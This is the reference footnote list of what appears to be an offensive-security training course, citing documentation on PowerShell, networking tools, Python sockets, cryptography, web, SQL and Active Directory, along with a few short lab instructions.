(Microsoft, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-service↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/sort-object↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_quoting_rules↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/where-object↩︎↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/format-list↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Regular_expression↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/dotnet/standard/base-types/regular-expression-language-quick-reference↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/scripting/samples/using-format-commands-to-change-output-view↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_providers↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-psprovider↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-item↩︎↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/foreach-object↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-childitem↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-location↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_registry_provider↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Security_Account_Manager↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-item↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-item↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/remove-item↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/remove-item↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Subroutine#Functions↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/scripting/learn/ps101/09-functions#naming↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Scope_(computer_science)↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Comment_(computer_programming)↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/get-module↩︎
(Wikipedia, 2023), https://net-tools.sourceforge.io/↩︎
(Sourceforge, 2023), https://en.wikipedia.org/wiki/Iproute2↩︎
(OffSec, 2023), https://kali.org/↩︎↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Loopback↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Localhost↩︎
(Ellingwood, 2014), https://www.digitalocean.com/community/tutorials/understanding-ip-addresses-subnets-and-cidr-notation-for-networking↩︎
(TechTarget, 2022), https://www.techtarget.com/searchnetworking/definition/network-interface-card↩︎
(Cisco, 2018), https://www.cisco.com/c/en/us/td/docs/switches/lan/catalyst4500/12-2/20ewa/configuration/guide/conf/port_sec.html↩︎
(user34720, 2015), https://unix.stackexchange.com/questions/192671/what-is-a-hotplug-event-from-the-interface↩︎
(die.net, 2021), https://linux.die.net/man/8/netstat↩︎
(die.net, 2021), https://linux.die.net/man/8/ss↩︎
(Pearson, 2012), https://www.pearsonitcertification.com/articles/article.aspx?p=1868080↩︎
(die.net, 2021), https://linux.die.net/man/8/ss↩︎
(Rapid7, 2023), https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/↩︎
(die.net, 2021), https://linux.die.net/man/8/arp↩︎
(VirtualBox, 2023), https://www.virtualbox.org/manual/ch06.html↩︎
(Arora, 2012), https://www.thegeekstuff.com/2012/05/route-flags/↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Ping_(networking_utility)↩︎
(Gite, 2023), https://www.cyberciti.biz/faq/ip-route-add-network-command-for-linux-explained/↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Routing_table↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Traceroute↩︎
(Cloudflare, 2023), https://www.cloudflare.com/learning/dns/what-is-dns/↩︎↩︎
(IBM, 2023), https://www.ibm.com/docs/sr/aix/7.2?topic=formats-resolvconf-file-format-tcpip↩︎
(Techopedia, 2023), https://www.techopedia.com/definition/1348/top-level-domain-tld↩︎↩︎
(Love, 2021), https://love2dev.com/blog/domain-names/↩︎
(VITUX, 2023), https://vitux.com/linux-hosts-file/↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Name_Service_Switch↩︎
(Poettering, 2007), http://0pointer.de/lennart/projects/nss-mdns/↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Telnet↩︎↩︎
(Rea, 2011), https://serverfault.com/questions/343533/changing-ssh-port-should-i-modify-only-sshd-config-or-also-ssh-config↩︎↩︎
(OWASP, 2021), https://cheatsheetseries.owasp.org/cheatsheets/Attack_Surface_Analysis_Cheat_Sheet.html↩︎↩︎
(jimbob, 2014), https://security.stackexchange.com/questions/56268/ssh-benefits-of-using-hashed-known-hosts↩︎↩︎
(Techopedia, 2021), https://www.techopedia.com/definition/1321/canonical-name-cname↩︎↩︎
(SolarWinds), https://www.solarwinds.com/-/media/solarwinds/swdcv2/licensed-products/user-device-tracker/resources/whitepaper/udt_wp_detect_prevent_rogue_devices.ashx?rev=7a261fece0b940ceb814f4985e1d74ff↩︎↩︎
(Linuxize, 2021), https://linuxize.com/post/using-the-ssh-config-file/↩︎↩︎
(Linuxize, 2020), https://linuxize.com/post/how-to-use-scp-command-to-securely-transfer-files/↩︎↩︎
(Gite, 2017), https://www.cyberciti.biz/faq/noninteractive-shell-script-ssh-password-provider/↩︎↩︎
(MITRE, 2021), https://attack.mitre.org/tactics/TA0004/↩︎↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Netcat↩︎↩︎↩︎↩︎
(Sourceforge, 2021), http://nc110.sourceforge.net↩︎↩︎
(Mozilla, 2023), https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/GET↩︎
(dest-unreach, 2019), http://www.dest-unreach.org/socat/doc/socat.html↩︎↩︎
(GNU, 2021), https://www.gnu.org/software/wget/manual/wget.html↩︎↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/CURL↩︎↩︎
(Die, 2021), https://linux.die.net/man/1/curl↩︎
(sethusubramanian, 2023), https://www.geeksforgeeks.org/host-command-in-linux-with-examples/↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Nslookup↩︎
(Linuxize, 2020), https://linuxize.com/post/how-to-use-dig-command-to-query-dns-in-linux/↩︎
(Steve, 2019), http://www.steves-internet-guide.com/using-nslookup/↩︎
(Martindale, 2021), https://www.digitaltrends.com/computing/what-is-ftp-and-how-do-i-use-it/↩︎↩︎↩︎
(Villanueva, 2022), https://www.jscape.com/blog/bid/80512/active-v-s-passive-ftp-simplified↩︎↩︎
(Broadcom, 2018), https://knowledge.broadcom.com/external/article/28212/ftp-ascii-vs-binary-mode-what-it-means.html↩︎↩︎
(Cisco, 2021), https://www.cisco.com/c/en/us/products/security/firewalls/what-is-a-firewall.html#~types-of-firewalls↩︎
(Linuxize, 2020), https://linuxize.com/post/how-to-setup-a-firewall-with-ufw-on-ubuntu-20-04/↩︎↩︎
(N-able, 2019), https://www.n-able.com/blog/stateful-vs-stateless-firewall-differences↩︎
(Ellingwood, 2015), https://www.digitalocean.com/community/tutorials/a-deep-dive-into-iptables-and-netfilter-architecture↩︎
(vkfwb, 2022), https://www.howtoforge.com/getting-started-with-firewall-builder↩︎
(ArchLinux Wiki, 2021), https://wiki.archlinux.org/title/SysVinit↩︎
(GeeksForGeeks, 2019), https://www.geeksforgeeks.org/run-levels-linux/↩︎
(Linode, 2020), https://www.linode.com/docs/guides/what-is-systemd/↩︎
(RedHat, 2018), https://access.redhat.com/sites/default/files/attachments/12052018_systemd_6.pdf↩︎
(ComputerNetworkingNotes, 2019), https://www.computernetworkingnotes.com/linux-tutorials/systemd-target-units-explained.html↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Secure_Shell_Protocol↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Windows_service↩︎
(Microsoft, 2023), https://docs.microsoft.com/en-us/windows/↩︎
(Microsoft, 2023), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ipconfig↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Domain_Name_System↩︎
(Microsoft, 2023), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/systeminfo↩︎
(Microsoft, 2023), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/set_1↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Environment_variable↩︎
(Microsoft, 2023), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/setx↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Network_interface_controller↩︎
(Microsoft, 2023), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/netstat↩︎
(Microsoft, 2023), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/arp↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Address_Resolution_Protocol↩︎
(Microsoft, 2023), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/route_ws2008↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Internet_Control_Message_Protocol↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Default_gateway↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Proxy_server↩︎
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ping↩︎
(Microsoft, 2023), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tracert↩︎
(Microsoft, 2023), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/pathping↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Time_to_live↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/NetBIOS↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/OSI_model↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/NetBIOS_over_TCP/IP↩︎
(Microsoft, 2023), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/nbtstat↩︎
(Microsoft, 2023), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/nslookup↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Server_Message_Block↩︎
(Exploit-DB, 2023), https://www.exploit-db.com/search?q=smb↩︎
(Microsoft, 2016), https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh750728(v=ws.11)↩︎
(Microsoft, 2016), https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/gg651155(v=ws.11)↩︎
(OpenSSL, 2021), https://www.openssl.org/↩︎
(Microsoft, 2023), https://docs.microsoft.com/en-us/sysinternals/↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/sysinternals/downloads/psexec↩︎
(Microsoft, 2017), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/netsh↩︎↩︎
(Microsoft, 2016), https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754599(v=ws.11)↩︎
(Microsoft, 2023), https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tasklist↩︎
(Microsoft, 2023), https://docs.microsoft.com/en-us/sysinternals/downloads/psservice↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Remote_Desktop_Protocol↩︎
(Steve's Internet Guide, 2021), http://www.steves-internet-guide.com/tcpip-ports-sockets/↩︎
(Python Software Foundation, 2021), https://docs.python.org/3/library/socket.html↩︎
(Geeks for Geeks, 2021), https://www.geeksforgeeks.org/socket-programming-python/↩︎
(Python Software Foundation, 2021), https://python.readthedocs.io/en/latest/library/socket.html↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Unix_domain_socket↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/User_Datagram_Protocol↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Transmission_Control_Protocol↩︎
(Python Software Foundation, 2021), https://docs.python.org/3/library/socket.html#socket.gethostname↩︎
(Python Software Foundation, 2021), https://docs.python.org/3/library/socket.html#socket.socket.connect↩︎
(Python Software Foundation, 2021), https://docs.python.org/3/library/socket.html#socket.socket.recv↩︎
(Python Software Foundation, 2021), https://docs.python.org/3/library/socket.html#socket.socket.close↩︎
(Python Software Foundation, 2021), https://docs.python.org/3/library/functions.html#print↩︎
(Python Software Foundation, 2021), https://docs.python.org/3/tutorial/errors.html↩︎
(Python Software Foundation, 2021), https://docs.python.org/3/library/telnetlib.html↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Telnet↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Scope_(computer_science)↩︎
(Python Software Foundation, 2021), https://docs.python.org/3/library/socket.html#socket.socket.bind↩︎
(Python Software Foundation, 2021), https://docs.python.org/3/library/socket.html#socket.socket.listen↩︎
(Python Software Foundation, 2021), https://docs.python.org/3/library/socket.html#socket.socket.accept↩︎
(Python Software Foundation, 2021), https://docs.python.org/3/reference/compound_stmts.html#while↩︎
(Python Software Foundation, 2021), https://docs.python.org/3/library/socket.html#socket.socket.send↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Ephemeral_port↩︎
(Python Software Foundation, 2021), https://docs.python.org/3/library/time.html↩︎
(Python Software Foundation, 2021), https://docs.python.org/3/library/time.html#time.time↩︎
(Python Software Foundation, 2021), https://docs.python.org/3/library/socket.html#socket.gethostbyname↩︎
(Python Software Foundation, 2021), https://docs.python.org/3/library/socket.html#socket.socket.connect_ex↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Localhost↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Port_knocking↩︎
(Reitz, 2021), https://docs.python-requests.org/en/master/↩︎
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/GET↩︎
(Reitz, 2021), https://docs.python-requests.org/en/latest/api/#requests.get↩︎
(Reitz, 2021), https://docs.python-requests.org/en/latest/api/#requests.Response.content↩︎
(Reitz, 2021), https://docs.python-requests.org/en/latest/api/#requests.Response.status_code↩︎
(Reitz, 2021), https://docs.python-requests.org/en/latest/api/#requests.Response.headers↩︎
(Reitz, 2021), https://docs.python-requests.org/en/latest/api/#requests.Response.text
The exercises below require you to interact with the target webserver
using Python. You will not be able to reach the required pages with
your regular browser!↩︎
(Petrov, 2021), https://urllib3.readthedocs.io/en/stable/↩︎
(Petrov, 2021), https://urllib3.readthedocs.io/en/stable/reference/urllib3.poolmanager.html↩︎
(Richardson, 2020), https://www.crummy.com/software/BeautifulSoup/bs4/doc/↩︎
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/POST↩︎
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/PUT↩︎
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/DELETE↩︎
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/HEAD↩︎
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/OPTIONS↩︎
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Type↩︎
(Biondi, 2021), https://scapy.net/↩︎
(Sanfilippo, 2006), http://www.hping.org/↩︎
(die.net, 2021), https://linux.die.net/man/8/arpspoof↩︎
(manned.org, 2021), https://manned.org/arp-sk/99e329e1↩︎
(Zalewski, 2014), https://lcamtuf.coredump.cx/p0f3/↩︎
(The Tcpdump Group, 2021), https://www.tcpdump.org/↩︎
(Wireshark Foundation, 2021), https://www.wireshark.org/docs/man-pages/tshark.html↩︎
(Nmap.org, 2021), https://nmap.org/↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Shell_(computing)↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Command-line_interface↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Graphical_user_interface↩︎
(DSimon, 2011), https://stackoverflow.com/questions/4715374/what-is-the-meaning-of-nix↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Operating_system↩︎
(Ionis, 2020), https://www.ionos.com/digitalguide/server/know-how/windows-cmd-commands/↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/powershell/↩︎↩︎
(TechTerms, 2006), https://techterms.com/definition/terminal↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Bourne_shell↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Tcsh↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/C_shell↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Berkeley_Software_Distribution↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/KornShell↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Z_shell↩︎
(OverTheWire), https://overthewire.org/wargames/bandit/↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/scripting/developer/cmdlet/cmdlet-overview?view=powershell-7.2↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.2↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enter-pssession?view=powershell-7.2↩︎↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting?view=powershell-7.2↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/about/about_wsman_provider?view=powershell-7.2↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/sysinternals/downloads/psexec↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/sysinternals/↩︎
(PCMag, 2022), https://www.pcmag.com/encyclopedia/term/file-and-printer-sharing↩︎
(Microsoft, 2022), https://docs.microsoft.com/en-us/sysinternals/downloads/pstools↩︎↩︎
(HackPlayers, 2021), https://github.com/Hackplayers/evil-winrm↩︎
(Microsoft, 2020), https://docs.microsoft.com/en-us/windows/win32/winrm/ws-management-protocol↩︎
(Microsot, 2021), https://docs.microsoft.com/en-us/windows/win32/winrm/portal↩︎
(Offensive Security, 2022), https://www.offensive-security.com/metasploit-unleashed/msfvenom/↩︎
(Rapid7, 2022), https://www.metasploit.com/↩︎
(Rapid7, 2022), https://www.rapid7.com/↩︎
(PCMag, 2022), https://www.pcmag.com/encyclopedia/term/payload↩︎
(PCMag, 2022), https://www.pcmag.com/encyclopedia/term/platform↩︎
(Mudge, 2013), https://www.cobaltstrike.com/blog/staged-payloads-what-pen-testers-should-know/↩︎
(Rapid7, 2015), https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Executable_and_Linkable_Format↩︎
(Python, 2022), https://docs.python.org/3/library/pty.html↩︎
(Schkn, 2020), https://devconnected.com/how-to-change-ip-address-on-linux/↩︎
(mfillpot, 2022), https://www.linux.com/training-tutorials/understanding-linux-file-permissions/↩︎
(Linuxize, 2019), https://linuxize.com/post/chmod-command-in-linux/↩︎
(retr0, 2023), https://www.geeksforgeeks.org/python-type-function/↩︎
(rajatrj20, 2022), https://www.geeksforgeeks.org/python-int-function/↩︎
(deepanshumehra1410, 2021), https://www.geeksforgeeks.org/python-str-function/↩︎
(OffSec, 2023), https://www.vulnhub.com/↩︎
(Kiotprix, 2010), https://www.vulnhub.com/entry/kioptrix-level-1-1,22/↩︎
(SPABAM, 2002), https://www.exploit-db.com/exploits/764↩︎
(HypnZA, 2017), https://www.hypn.za.net/blog/2017/08/27/compiling-exploit-764-c-in-2017/↩︎
(tachomi, 2016), https://unix.stackexchange.com/questions/288521/with-the-linux-cat-command-how-do-i-show-only-certain-lines-by-number↩︎
(GeeksforGeeks, 2022), https://www.geeksforgeeks.org/head-command-linux-examples/↩︎
(GeeksforGeeks, 2021), https://www.geeksforgeeks.org/cat-command-in-linux-with-examples/↩︎
(GeeksforGeeks, 2021), https://www.geeksforgeeks.org/tail-command-linux-examples/↩︎
(tithimukherjee, 2021), https://www.geeksforgeeks.org/how-to-recover-a-deleted-file-in-linux/↩︎
(Wallen, 2015), https://www.linux.com/training-tutorials/live-booting-linux/↩︎
(Wikipedia, 2023), https://www.fortinet.com/resources/cyberglossary/cia-triad↩︎
(TechRepublic, 2008), https://www.techrepublic.com/blog/it-security/the-cia-triad↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/MD5↩︎
(explainshell.com, 2023), https://explainshell.com/explain/1/bc↩︎
(explainshell.com, 2023), https://explainshell.com/explain/1/xxd↩︎
(asciitable, 2023), http://www.asciitable.com/↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Unicode↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/UTF-8↩︎
(smashingmagazine, 2012), https://www.smashingmagazine.com/2012/06/all-about-unicode-utf8-character-sets/↩︎
(tecmint, 2016), https://www.tecmint.com/convert-files-to-utf-8-encoding-in-linux/↩︎
(Linux man page, 2023), https://linux.die.net/man/1/base64↩︎
(Microsoft, 2022), https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil↩︎↩︎↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Cryptographic_hash_function↩︎
(Linux man page, 2023), https://linux.die.net/man/1/md5sum↩︎↩︎
(Linux man page, 2023), https://linux.die.net/man/1/sha1sum↩︎
(Linux man page, 2023), https://linux.die.net/man/1/sha256sum↩︎
(Linux man page, 2023), https://linux.die.net/man/1/sha512sum↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Passwd#Shadow_file↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Security_Account_Manager↩︎
(Kali tools, 2021), https://tools.kali.org/password-attacks/hash-identifier↩︎
(hashID homepage, 2015), https://psypanda.github.io/hashID/↩︎
(Auth0 blog, 2021), https://auth0.com/blog/adding-salt-to-hashing-a-better-way-to-store-passwords/↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Rainbow_table↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Brute-force_attack↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Dictionary_attack↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/John_the_Ripper↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Symmetric-key_algorithm↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Caesar_cipher↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/ROT13↩︎
(Linux man page, 2023), https://linux.die.net/man/1/tr↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/XOR_cipher↩︎
(Lockhart, 2021), http://irtfweb.ifa.hawaii.edu/~lockhart/gpg/↩︎
(Techopedia, 2022), https://www.techopedia.com/definition/27121/feistel-network↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Substitution%E2%80%93permutation_network↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Public-key_cryptography↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Transport_Layer_Security↩︎
(Wikipedia, 2023), https://en.wikipedia.org/wiki/Forward_secrecy↩︎
(CSO, 2019), https://www.csoonline.com/article/2124681/what-is-social-engineering.html↩︎
(OWASP, 2021), https://owasp.org/Top10/↩︎
(OWASP, 2021), https://owasp.org/↩︎
(phoenixNAP, 2022), https://phoenixnap.com/blog/software-development-life-cycle↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Query_string↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/List_of_HTTP_status_codes↩︎
(W3Schools, 2021), https://www.w3schools.com/tags/ref_urlencode.ASP↩︎
(Python Software Foundation, 2021), https://docs.python.org/3/library/urllib.parse.html↩︎
(URL Decode and Encode, 2021), https://www.urlencoder.org/
On the Kali Linux VM open a terminal and the Python3 interpreter by
executing the command python3. Import the urllib.parse
package.↩︎
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/List_of_HTTP_header_fields↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Ajax_(programming)↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/HTTP_cookie↩︎
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies↩︎
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools↩︎
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/HTML↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Hyperlink↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/CSS↩︎
(Phishing.org, 2021), https://www.phishing.org/what-is-phishing#:~:text=Phishing%20is%20a%20cybercrime%20in,credit%20card%20details%2C%20and%20passwords.↩︎
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/JavaScript
Use web browser development tools to solve the following exercises.
Further instructions can be found at /module1.html of the target
VM.↩︎
(Mozilla, 2021), https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Functions↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Minification_(programming)
Use web browser development tools to solve the following exercise.
Further instructions can be found at /module3.html of the target
VM.↩︎
(Cloudflare, 2021), https://www.cloudflare.com/en-ca/learning/bots/what-is-robots.txt/↩︎
(Cloudflare, 2021), https://www.cloudflare.com/en-ca/learning/bots/what-is-a-web-crawler/↩︎
(Cloudflare, 2021), https://www.cloudflare.com/en-ca/learning/bots/what-is-a-bot/↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Sitemaps↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Search_engine_optimization↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Database↩︎
(IBM, 2019), https://www.ibm.com/cloud/learn/relational-databases↩︎
(MongoDB, 2021), https://www.mongodb.com/non-relational-database↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/SQL↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Select_(SQL)↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/From_(SQL)↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Where_(SQL)↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Join_(SQL)↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Primary_key↩︎
(W3Schools, 2021), https://www.w3schools.com/sql/sql_foreignkey.asp↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Set_operations_(SQL)#UNION_operator↩︎
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/selecting-the-forest-root-domain↩︎↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-kerberos↩︎
(Wikipedia, 2021), https://en.wikipedia.org/wiki/Key_distribution_center↩︎
(Skip Duckwall, 2014), https://www.blackhat.com/docs/us-14/materials/us-14-Duckwall-Abusing-Microsoft-Kerberos-Sorry-You-Guys-Don't-Get-It-wp.pdf↩︎
(ldap.com, 2021), https://ldap.com/↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/windows-server/identity/ad-fs/ad-fs-overview↩︎
(Microsoft, 2018), https://msdn.microsoft.com/en-us/library/windows/desktop/aa379571(v=vs.85).aspx↩︎
(Microsoft, 2018), https://msdn.microsoft.com/en-us/library/windows/desktop/ms721604(v=vs.85).aspx#_security_relative_identifier_gly↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-aduser?view=windowsserver2019-ps↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups↩︎
(Microsoft, 2021), https://docs.microsoft.com/en-us/previous-versions/windows/desktop/policy/group-policy-objects↩︎
(Wiktionary, 2017), https://en.wiktionary.org/wiki/webroot↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Banner_grabbing↩︎
(GeeksforGeeks, 2022), https://www.geeksforgeeks.org/input-output-redirection-in-linux/↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Checksum↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Vsftpd↩︎
(Wikipedia, 2022), https://en.wikipedia.org/wiki/Trivial_File_Transfer_Protocol↩︎
(Kapersky, 2022), https://encyclopedia.kaspersky.com/glossary/lotl-living-off-the-land/↩︎
(Microsoft, 2021), https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin-examples?source=recommendations↩︎
(Microsoft, 2019), https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient?redirectedfrom=MSDN&view=netframework-4.8↩︎